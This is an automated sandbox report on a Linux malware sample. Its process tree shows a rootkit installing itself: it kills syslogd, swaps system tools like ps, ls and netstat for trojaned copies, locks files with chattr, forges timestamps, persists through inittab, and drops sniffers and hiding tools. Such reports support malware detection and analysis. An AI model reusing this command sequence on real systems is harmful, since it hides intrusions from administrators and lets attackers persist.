Analysis

  • max time kernel
    4s
  • max time network
    129s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    15-07-2024 23:17

General

  • Target

    4bd599176fbaab489642f3fafb083862_JaffaCakes118

  • Size

    23KB

  • MD5

    4bd599176fbaab489642f3fafb083862

  • SHA1

    0e04611e74f58029492a2df576844dc8c4529e4e

  • SHA256

    c7d3a16ba29abcf5261b66af753f44124fcb3a303059f7cee04334983a3b6d16

  • SHA512

    d2be3727188dfffaee6b96296f0404e8e208a83cb83fbcab4d6eb833b9305b844dffdf73af61c6c63ab607d38df6dfe43c83b1935d2fb28039320cf6bb780645

  • SSDEEP

    384:z7WoIqPIkK+slvwzUvEEa2cC/bvynigxz9DYnY2c68:5IqAkK+slvwzF2CDYnYhf

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Attempts to change immutable files 22 IoCs

    Modifies inode attributes on the filesystem to allow changing of immutable files.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Write file to user bin folder 1 TTPs 1 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/4bd599176fbaab489642f3fafb083862_JaffaCakes118
    /tmp/4bd599176fbaab489642f3fafb083862_JaffaCakes118
    1⤵
    • Write file to user bin folder
    • Writes file to tmp directory
    PID:1505
    • /usr/bin/whoami
      whoami
      2⤵
        PID:1507
      • /bin/tar
        tar zxf ./bin.tgz
        2⤵
          PID:1508
        • /bin/tar
          tar zxf ./conf.tgz
          2⤵
            PID:1510
          • /bin/tar
            tar zxf ./lib.tgz
            2⤵
              PID:1512
            • /bin/tar
              tar zxf ./utilz.tgz
              2⤵
                PID:1514
              • /bin/tar
                tar zxf ./sshd.tgz
                2⤵
                  PID:1516
                • /bin/rm
                  rm -rf ./sshd.tgz
                  2⤵
                    PID:1518
                  • /bin/rm
                    rm -rf bin.tgz conf.tgz lib.tgz utilz.tgz
                    2⤵
                      PID:1519
                    • /bin/sleep
                      sleep 2
                      2⤵
                        PID:1520
                      • /usr/bin/killall
                        killall -9 syslogd
                        2⤵
                        • Reads runtime system information
                        PID:1524
                      • /bin/date
                        date "+%S"
                        2⤵
                          PID:1525
                        • /bin/sleep
                          sleep 2
                          2⤵
                            PID:1526
                          • /bin/hostname
                            hostname -f
                            2⤵
                              PID:1527
                            • /usr/bin/cut
                              cut -d "@" -f 2
                              2⤵
                                PID:1535
                              • /bin/grep
                                grep "@"
                                2⤵
                                  PID:1534
                                • /bin/grep
                                  grep -v "^\$"
                                  2⤵
                                    PID:1533
                                  • /bin/grep
                                    grep -v "^#" /etc/syslog.conf
                                    2⤵
                                      PID:1532
                                    • /bin/uname
                                      uname -n
                                      2⤵
                                        PID:1536
                                      • /bin/mv
                                        mv lib/libproc.a /lib/
                                        2⤵
                                          PID:1537
                                        • /bin/mv
                                          mv lib/libproc.so.2.0.6 /lib/
                                          2⤵
                                            PID:1538
                                          • /sbin/ldconfig
                                            /sbin/ldconfig
                                            2⤵
                                              PID:1539
                                            • /sbin/ldconfig.real
                                              /sbin/ldconfig.real
                                              2⤵
                                                PID:1539
                                              • /usr/bin/md5sum
                                                md5sum
                                                2⤵
                                                  PID:1541
                                                • /usr/bin/touch
                                                  touch -acmr /bin/ls /etc/sh.conf
                                                  2⤵
                                                    PID:1542
                                                  • /bin/chown
                                                    chown -f root:root /etc/sh.conf
                                                    2⤵
                                                      PID:1543
                                                    • /usr/bin/chattr
                                                      chattr +isa /etc/sh.conf
                                                      2⤵
                                                        PID:1544
                                                      • /bin/rm
                                                        rm -rf /tmp/bin/.sh/shdcf2
                                                        2⤵
                                                          PID:1546
                                                        • /bin/mv
                                                          mv /tmp/bin/.sh/sshd_config /tmp/bin/.sh/shdcf
                                                          2⤵
                                                            PID:1547
                                                          • /bin/mv
                                                            mv /tmp/conf/lidps1.so /lib/lidps1.so
                                                            2⤵
                                                              PID:1548
                                                            • /usr/bin/touch
                                                              touch -acmr /bin/ls /lib/lidps1.so
                                                              2⤵
                                                                PID:1549
                                                              • /usr/bin/touch
                                                                touch -acmr /bin/ls "/tmp/conf/*"
                                                                2⤵
                                                                  PID:1550
                                                                • /bin/mv
                                                                  mv "/tmp/conf/*" /usr/include/
                                                                  2⤵
                                                                    PID:1551
                                                                  • /bin/mkdir
                                                                    mkdir /lib/libsh.so
                                                                    2⤵
                                                                      PID:1552
                                                                    • /usr/bin/touch
                                                                      touch -acmr /bin/ls /lib/libsh.so
                                                                      2⤵
                                                                        PID:1553
                                                                      • /bin/mkdir
                                                                        mkdir /usr/lib/libsh
                                                                        2⤵
                                                                          PID:1554
                                                                        • /usr/bin/touch
                                                                          touch -acmr /bin/ls /usr/lib/libsh
                                                                          2⤵
                                                                            PID:1555
                                                                          • /bin/mv
                                                                            mv ".sh/*" /lib/libsh.so/
                                                                            2⤵
                                                                              PID:1556
                                                                            • /bin/mv
                                                                              mv .sh/.bashrc /usr/lib/libsh
                                                                              2⤵
                                                                                PID:1557
                                                                              • /bin/mv
                                                                                mv /lib/libsh.so/sshd /sbin/ttyload
                                                                                2⤵
                                                                                  PID:1558
                                                                                • /bin/chmod
                                                                                  chmod a+xr /sbin/ttyload
                                                                                  2⤵
                                                                                    PID:1559
                                                                                  • /bin/chmod
                                                                                    chmod o-w /sbin/ttyload
                                                                                    2⤵
                                                                                      PID:1560
                                                                                    • /usr/bin/touch
                                                                                      touch -acmr /bin/ls /sbin/ttyload
                                                                                      2⤵
                                                                                        PID:1561
                                                                                      • /usr/bin/chattr
                                                                                        chattr +isa /sbin/ttyload
                                                                                        2⤵
                                                                                          PID:1562
                                                                                        • /bin/pidof
                                                                                          pidof ttyload
                                                                                          2⤵
                                                                                          • Reads runtime system information
                                                                                          PID:1563
                                                                                        • /bin/mv
                                                                                          mv /tmp/bin/ttymon /sbin/ttymon
                                                                                          2⤵
                                                                                            PID:1564
                                                                                          • /bin/chmod
                                                                                            chmod a+xr /sbin/ttymon
                                                                                            2⤵
                                                                                              PID:1565
                                                                                            • /usr/bin/touch
                                                                                              touch -acmr /bin/ls /sbin/ttymon
                                                                                              2⤵
                                                                                                PID:1566
                                                                                              • /usr/bin/chattr
                                                                                                chattr +isa /sbin/ttymon
                                                                                                2⤵
                                                                                                  PID:1567
                                                                                                • /bin/pidof
                                                                                                  pidof ttymon
                                                                                                  2⤵
                                                                                                  • Reads runtime system information
                                                                                                  PID:1568
                                                                                                • /bin/cp
                                                                                                  cp /bin/bash /lib/libsh.so
                                                                                                  2⤵
                                                                                                    PID:1569
                                                                                                  • /usr/bin/chattr
                                                                                                    chattr -isa /etc/inittab
                                                                                                    2⤵
                                                                                                    • Attempts to change immutable files
                                                                                                    PID:1570
                                                                                                  • /bin/grep
                                                                                                    grep -v getty
                                                                                                    2⤵
                                                                                                      PID:1573
                                                                                                    • /bin/grep
                                                                                                      grep -v ttyload
                                                                                                      2⤵
                                                                                                        PID:1572
                                                                                                      • /bin/cat
                                                                                                        cat /etc/inittab
                                                                                                        2⤵
                                                                                                          PID:1571
                                                                                                        • /bin/grep
                                                                                                          grep getty
                                                                                                          2⤵
                                                                                                            PID:1575
                                                                                                          • /bin/cat
                                                                                                            cat /etc/inittab
                                                                                                            2⤵
                                                                                                              PID:1574
                                                                                                            • /bin/cat
                                                                                                              cat /tmp/.init2
                                                                                                              2⤵
                                                                                                                PID:1576
                                                                                                              • /usr/bin/touch
                                                                                                                touch -acmr /bin/ls /usr/sbin/ttyload
                                                                                                                2⤵
                                                                                                                  PID:1577
                                                                                                                • /bin/chmod
                                                                                                                  chmod +x /usr/sbin/ttyload
                                                                                                                  2⤵
                                                                                                                    PID:1578
                                                                                                                  • /usr/bin/chattr
                                                                                                                    chattr +isa /usr/sbin/ttyload
                                                                                                                    2⤵
                                                                                                                    • Attempts to change immutable files
                                                                                                                    PID:1579
                                                                                                                  • /usr/sbin/ttyload
                                                                                                                    /usr/sbin/ttyload
                                                                                                                    2⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    PID:1580
                                                                                                                    • /sbin/ttyload
                                                                                                                      /sbin/ttyload -q
                                                                                                                      3⤵
                                                                                                                        PID:1581
                                                                                                                      • /sbin/ttymon
                                                                                                                        /sbin/ttymon
                                                                                                                        3⤵
                                                                                                                          PID:1582
                                                                                                                      • /usr/bin/touch
                                                                                                                        touch -amcr /etc/inittab /tmp/.init1
                                                                                                                        2⤵
                                                                                                                          PID:1583
                                                                                                                        • /bin/mv
                                                                                                                          mv -f /tmp/.init1 /etc/inittab
                                                                                                                          2⤵
                                                                                                                            PID:1584
                                                                                                                          • /bin/rm
                                                                                                                            rm -rf /tmp/.init2
                                                                                                                            2⤵
                                                                                                                              PID:1585
                                                                                                                            • /bin/grep
                                                                                                                              grep ttyload /etc/inittab
                                                                                                                              2⤵
                                                                                                                                PID:1586
                                                                                                                              • /usr/bin/md5sum
                                                                                                                                /usr/bin/md5sum /bin/ps
                                                                                                                                2⤵
                                                                                                                                  PID:1587
                                                                                                                                • /usr/bin/md5sum
                                                                                                                                  /usr/bin/md5sum /bin/ls
                                                                                                                                  2⤵
                                                                                                                                    PID:1588
                                                                                                                                  • /usr/bin/md5sum
                                                                                                                                    /usr/bin/md5sum /usr/bin/find
                                                                                                                                    2⤵
                                                                                                                                      PID:1589
                                                                                                                                    • /usr/bin/md5sum
                                                                                                                                      /usr/bin/md5sum /usr/bin/top
                                                                                                                                      2⤵
                                                                                                                                        PID:1590
                                                                                                                                      • /usr/bin/md5sum
                                                                                                                                        /usr/bin/md5sum /usr/bin/md5sum
                                                                                                                                        2⤵
                                                                                                                                          PID:1591
                                                                                                                                        • /tmp/encrypt
                                                                                                                                          ./encrypt -e .shmd5 /dev/srd0
                                                                                                                                          2⤵
                                                                                                                                            PID:1592
                                                                                                                                          • /usr/bin/touch
                                                                                                                                            touch -acmr /bin/ls /dev/srd0
                                                                                                                                            2⤵
                                                                                                                                              PID:1593
                                                                                                                                            • /usr/bin/chattr
                                                                                                                                              chattr a+r /dev/srd0
                                                                                                                                              2⤵
                                                                                                                                              • Attempts to change immutable files
                                                                                                                                              PID:1594
                                                                                                                                            • /bin/chown
                                                                                                                                              chown -f root:root /dev/srd0
                                                                                                                                              2⤵
                                                                                                                                                PID:1595
                                                                                                                                              • /bin/rm
                                                                                                                                                rm -rf .shmd5
                                                                                                                                                2⤵
                                                                                                                                                  PID:1596
                                                                                                                                                • /usr/bin/touch
                                                                                                                                                  touch -acmr /sbin/ifconfig ifconfig
                                                                                                                                                  2⤵
                                                                                                                                                    PID:1597
                                                                                                                                                  • /usr/bin/touch
                                                                                                                                                    touch -acmr /bin/ps ps
                                                                                                                                                    2⤵
                                                                                                                                                      PID:1598
                                                                                                                                                    • /usr/bin/touch
                                                                                                                                                      touch -acmr /bin/ls ls
                                                                                                                                                      2⤵
                                                                                                                                                        PID:1599
                                                                                                                                                      • /usr/bin/touch
                                                                                                                                                        touch -acmr /bin/netstat netstat
                                                                                                                                                        2⤵
                                                                                                                                                          PID:1600
                                                                                                                                                        • /usr/bin/touch
                                                                                                                                                          touch -acmr /usr/bin/find find
                                                                                                                                                          2⤵
                                                                                                                                                            PID:1601
                                                                                                                                                          • /usr/bin/touch
                                                                                                                                                            touch -acmr /usr/bin/top top
                                                                                                                                                            2⤵
                                                                                                                                                              PID:1602
                                                                                                                                                            • /usr/bin/touch
                                                                                                                                                              touch -acmr /usr/sbin/lsof lsof
                                                                                                                                                              2⤵
                                                                                                                                                                PID:1603
                                                                                                                                                              • /usr/bin/touch
                                                                                                                                                                touch -acmr /sbin/syslogd syslogd
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:1604
                                                                                                                                                                • /usr/bin/touch
                                                                                                                                                                  touch -acmr /usr/bin/slocate slocate
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:1605
                                                                                                                                                                  • /usr/bin/touch
                                                                                                                                                                    touch -acmr /usr/bin/dir dir
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:1606
                                                                                                                                                                    • /usr/bin/touch
                                                                                                                                                                      touch -acmr /usr/bin/md5sum md5sum
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:1607
                                                                                                                                                                      • /usr/bin/touch
                                                                                                                                                                        touch -acmr /usr/bin/pstree pstree
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:1608
                                                                                                                                                                        • /bin/mkdir
                                                                                                                                                                          mkdir /usr/lib/libsh/.backup
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:1609
                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                            chattr -isa /bin/ps
                                                                                                                                                                            2⤵
                                                                                                                                                                            • Attempts to change immutable files
                                                                                                                                                                            PID:1610
                                                                                                                                                                          • /bin/cp
                                                                                                                                                                            cp /bin/ps /usr/lib/libsh/.backup
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:1611
                                                                                                                                                                            • /bin/mv
                                                                                                                                                                              mv -f ps /bin/ps
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:1612
                                                                                                                                                                              • /usr/bin/chattr
                                                                                                                                                                                chattr +isa /bin/ps
                                                                                                                                                                                2⤵
                                                                                                                                                                                • Attempts to change immutable files
                                                                                                                                                                                PID:1613
                                                                                                                                                                              • /usr/bin/chattr
                                                                                                                                                                                chattr -isa /sbin/ifconfig
                                                                                                                                                                                2⤵
                                                                                                                                                                                • Attempts to change immutable files
                                                                                                                                                                                PID:1614
                                                                                                                                                                              • /bin/cp
                                                                                                                                                                                cp /sbin/ifconfig /usr/lib/libsh/.backup
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:1615
                                                                                                                                                                                • /bin/mv
                                                                                                                                                                                  mv -f ifconfig /sbin/ifconfig
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:1616
                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                    chattr +isa /sbin/ifconfig
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • Attempts to change immutable files
                                                                                                                                                                                    PID:1617
                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                    chattr -isa /bin/netstat
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • Attempts to change immutable files
                                                                                                                                                                                    PID:1618
                                                                                                                                                                                  • /bin/cp
                                                                                                                                                                                    cp /bin/netstat /usr/lib/libsh/.backup
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:1619
                                                                                                                                                                                    • /bin/mv
                                                                                                                                                                                      mv -f netstat /bin/netstat
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:1620
                                                                                                                                                                                      • /usr/bin/chattr
                                                                                                                                                                                        chattr +isa /bin/netstat
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • Attempts to change immutable files
                                                                                                                                                                                        PID:1621
                                                                                                                                                                                      • /usr/bin/chattr
                                                                                                                                                                                        chattr -isa /usr/bin/top
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • Attempts to change immutable files
                                                                                                                                                                                        PID:1622
                                                                                                                                                                                      • /bin/cp
                                                                                                                                                                                        cp /usr/bin/top /usr/lib/libsh/.backup
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:1623
                                                                                                                                                                                        • /bin/mv
                                                                                                                                                                                          mv -f top /usr/bin/top
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:1624
                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                            chattr +isa /usr/bin/top
                                                                                                                                                                                            2⤵
                                                                                                                                                                                            • Attempts to change immutable files
                                                                                                                                                                                            PID:1625
                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                            chattr -isa /bin/ls
                                                                                                                                                                                            2⤵
                                                                                                                                                                                            • Attempts to change immutable files
                                                                                                                                                                                            PID:1626
                                                                                                                                                                                          • /bin/cp
                                                                                                                                                                                            cp /bin/ls /usr/lib/libsh/.backup
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:1627
                                                                                                                                                                                            • /bin/mv
                                                                                                                                                                                              mv -f ls /bin/ls
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:1628
                                                                                                                                                                                              • /usr/bin/chattr
                                                                                                                                                                                                chattr +isa /bin/ls
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                • Attempts to change immutable files
                                                                                                                                                                                                PID:1629
                                                                                                                                                                                              • /usr/bin/chattr
                                                                                                                                                                                                chattr -isa /usr/bin/find
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                • Attempts to change immutable files
                                                                                                                                                                                                PID:1630
                                                                                                                                                                                              • /bin/cp
                                                                                                                                                                                                cp /usr/bin/find /usr/lib/libsh/.backup
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:1631
                                                                                                                                                                                                • /bin/mv
                                                                                                                                                                                                  mv -f find /usr/bin/find
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:1632
                                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                                    chattr +isa /usr/bin/find
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                    • Attempts to change immutable files
                                                                                                                                                                                                    PID:1633
                                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                                    chattr -isa /usr/bin/pstree
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                    • Attempts to change immutable files
                                                                                                                                                                                                    PID:1634
                                                                                                                                                                                                  • /bin/cp
                                                                                                                                                                                                    cp /usr/bin/pstree /usr/lib/libsh/.backup
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:1635
                                                                                                                                                                                                    • /bin/mv
                                                                                                                                                                                                      mv -f pstree /usr/bin/pstree
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:1636
                                                                                                                                                                                                      • /usr/bin/chattr
                                                                                                                                                                                                        chattr +isa /usr/bin/pstree
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                        • Attempts to change immutable files
                                                                                                                                                                                                        PID:1637
                                                                                                                                                                                                      • /usr/bin/chattr
                                                                                                                                                                                                        chattr -isa /usr/bin/md5sum
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                        • Attempts to change immutable files
                                                                                                                                                                                                        PID:1638
                                                                                                                                                                                                      • /bin/cp
                                                                                                                                                                                                        cp /usr/bin/md5sum /usr/lib/libsh/.backup
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:1639
                                                                                                                                                                                                        • /bin/mv
                                                                                                                                                                                                          mv -f md5sum /usr/bin/md5sum
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:1640
                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                            chattr +isa /usr/bin/md5sum
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • Attempts to change immutable files
                                                                                                                                                                                                            PID:1641
                                                                                                                                                                                                          • /usr/bin/touch
                                                                                                                                                                                                            touch -acmr /bin/ls /tmp/utilz
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:1642
                                                                                                                                                                                                            • /usr/bin/touch
                                                                                                                                                                                                              touch -acmr /bin/ls "/tmp/utilz/*"
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:1643
                                                                                                                                                                                                              • /bin/mv
                                                                                                                                                                                                                mv /tmp/utilz /usr/lib/libsh/
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:1644
                                                                                                                                                                                                                • /bin/mkdir
                                                                                                                                                                                                                  mkdir /usr/lib/libsh/.sniff
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:1645
                                                                                                                                                                                                                  • /bin/mv
                                                                                                                                                                                                                    mv /tmp/bin/shsniff /usr/lib/libsh/.sniff/shsniff
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:1646
                                                                                                                                                                                                                    • /bin/mv
                                                                                                                                                                                                                      mv /tmp/bin/shp /usr/lib/libsh/.sniff/shp
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:1647
                                                                                                                                                                                                                      • /bin/mv
                                                                                                                                                                                                                        mv /tmp/bin/shsb /usr/lib/libsh/shsb
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:1648
                                                                                                                                                                                                                        • /bin/mv
                                                                                                                                                                                                                          mv /tmp/bin/hide /usr/lib/libsh/hide
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:1649
                                                                                                                                                                                                                          • /usr/bin/touch
                                                                                                                                                                                                                            touch -acmr /bin/ls /usr/lib/libsh/.sniff/shsniff
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:1650
                                                                                                                                                                                                                            • /usr/bin/touch
                                                                                                                                                                                                                              touch -acmr /bin/ls /usr/lib/libsh/.sniff/shp
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:1651
                                                                                                                                                                                                                              • /usr/bin/touch
                                                                                                                                                                                                                                touch -acmr /bin/ls /usr/lib/libsh/shsb
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:1652
                                                                                                                                                                                                                                • /usr/bin/touch
                                                                                                                                                                                                                                  touch -acmr /bin/ls /usr/lib/libsh/hide
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:1653
                                                                                                                                                                                                                                  • /bin/chmod
                                                                                                                                                                                                                                    chmod +x "/usr/lib/libsh/.sniff/*"
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:1654
                                                                                                                                                                                                                                    • /bin/chmod
                                                                                                                                                                                                                                      chmod +x /usr/lib/libsh/shsb
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                        PID:1655
                                                                                                                                                                                                                                      • /bin/chmod
                                                                                                                                                                                                                                        chmod +x /usr/lib/libsh/hide
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                          PID:1656
                                                                                                                                                                                                                                        • /bin/ps
                                                                                                                                                                                                                                          ps aux
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                          • Reads CPU attributes
                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                          PID:1657
                                                                                                                                                                                                                                        • /bin/grep
                                                                                                                                                                                                                                          grep named
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                            PID:1660
                                                                                                                                                                                                                                          • /bin/cat
                                                                                                                                                                                                                                            cat /tmp/.procs
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:1659
                                                                                                                                                                                                                                            • /bin/grep
                                                                                                                                                                                                                                              grep smbd
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:1663
                                                                                                                                                                                                                                              • /bin/cat
                                                                                                                                                                                                                                                cat /tmp/.procs
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:1662
                                                                                                                                                                                                                                                • /bin/grep
                                                                                                                                                                                                                                                  grep rpc.statd
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                    PID:1666
                                                                                                                                                                                                                                                  • /bin/cat
                                                                                                                                                                                                                                                    cat /tmp/.procs
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                      PID:1665
                                                                                                                                                                                                                                                    • /bin/rm
                                                                                                                                                                                                                                                      rm -rf /tmp/.procs
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                        PID:1667
                                                                                                                                                                                                                                                      • /bin/grep
                                                                                                                                                                                                                                                        grep http
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                          PID:1672
                                                                                                                                                                                                                                                        • /bin/grep
                                                                                                                                                                                                                                                          grep 443
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:1671
                                                                                                                                                                                                                                                          • /bin/cat
                                                                                                                                                                                                                                                            cat /tmp/.stats
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                              PID:1670
                                                                                                                                                                                                                                                            • /bin/rm
                                                                                                                                                                                                                                                              rm -rf /tmp/.stats
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                PID:1673
                                                                                                                                                                                                                                                              • /bin/mkdir
                                                                                                                                                                                                                                                                mkdir /usr/lib/libsh/.owned
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                  PID:1674
                                                                                                                                                                                                                                                                • /usr/bin/chattr
                                                                                                                                                                                                                                                                  chattr +isa /usr/lib/libsh
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                  • Attempts to change immutable files
                                                                                                                                                                                                                                                                  PID:1675
                                                                                                                                                                                                                                                                • /usr/bin/chattr
                                                                                                                                                                                                                                                                  chattr +isa /lib/libsh.so
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                  • Attempts to change immutable files
                                                                                                                                                                                                                                                                  PID:1676
                                                                                                                                                                                                                                                                • /usr/bin/killall
                                                                                                                                                                                                                                                                  killall -9 -q nscd
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                  • Reads runtime system information
                                                                                                                                                                                                                                                                  PID:1677
                                                                                                                                                                                                                                                                • /usr/bin/killall
                                                                                                                                                                                                                                                                  killall -9 -q xntps
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                  • Reads runtime system information
                                                                                                                                                                                                                                                                  PID:1678
                                                                                                                                                                                                                                                                • /usr/bin/killall
                                                                                                                                                                                                                                                                  killall -9 -q mountd
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                  • Reads runtime system information
                                                                                                                                                                                                                                                                  PID:1679
                                                                                                                                                                                                                                                                • /usr/bin/killall
                                                                                                                                                                                                                                                                  killall -9 -q mserv
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                  • Reads runtime system information
                                                                                                                                                                                                                                                                  PID:1680
                                                                                                                                                                                                                                                                • /usr/bin/killall
                                                                                                                                                                                                                                                                  killall -9 -q psybnc
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                  • Reads runtime system information
                                                                                                                                                                                                                                                                  PID:1681
                                                                                                                                                                                                                                                                • /usr/bin/killall
                                                                                                                                                                                                                                                                  killall -9 -q t0rns
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                  • Reads runtime system information
                                                                                                                                                                                                                                                                  PID:1682
                                                                                                                                                                                                                                                                • /usr/bin/killall
                                                                                                                                                                                                                                                                  killall -9 -q linsniffer
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                  • Reads runtime system information
                                                                                                                                                                                                                                                                  PID:1683
                                                                                                                                                                                                                                                                • /usr/bin/killall
                                                                                                                                                                                                                                                                  killall -9 -q sniffer
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                  • Reads runtime system information
                                                                                                                                                                                                                                                                  PID:1684
                                                                                                                                                                                                                                                                • /usr/bin/killall
                                                                                                                                                                                                                                                                  killall -9 -q lpsched
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                  • Reads runtime system information
                                                                                                                                                                                                                                                                  PID:1685
                                                                                                                                                                                                                                                                • /usr/bin/killall
                                                                                                                                                                                                                                                                  killall -9 -q sniff
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                  • Reads runtime system information
                                                                                                                                                                                                                                                                  PID:1686
                                                                                                                                                                                                                                                                • /usr/bin/killall
                                                                                                                                                                                                                                                                  killall -9 -q sn1f
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                  • Reads runtime system information
                                                                                                                                                                                                                                                                  PID:1687
                                                                                                                                                                                                                                                                • /usr/bin/killall
                                                                                                                                                                                                                                                                  killall -9 -q sshd2
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                  • Reads runtime system information
                                                                                                                                                                                                                                                                  PID:1688
                                                                                                                                                                                                                                                                • /usr/bin/killall
                                                                                                                                                                                                                                                                  killall -9 -q xsf
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                  • Reads runtime system information
                                                                                                                                                                                                                                                                  PID:1689
                                                                                                                                                                                                                                                                • /usr/bin/killall
                                                                                                                                                                                                                                                                  killall -9 -q xchk
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                    PID:1690
                                                                                                                                                                                                                                                                  • /usr/bin/killall
                                                                                                                                                                                                                                                                    killall -9 -q ssh2d
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                    • Reads runtime system information
                                                                                                                                                                                                                                                                    PID:1691
                                                                                                                                                                                                                                                                  • /usr/bin/cut
                                                                                                                                                                                                                                                                    cut -c6-
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                      PID:1696
                                                                                                                                                                                                                                                                    • /usr/bin/awk
                                                                                                                                                                                                                                                                      awk -F " " " {print \$2} "
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                        PID:1695
                                                                                                                                                                                                                                                                      • /bin/grep
                                                                                                                                                                                                                                                                        grep "inet addr:"
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                          PID:1694
                                                                                                                                                                                                                                                                        • /sbin/ifconfig
                                                                                                                                                                                                                                                                          /sbin/ifconfig eth0
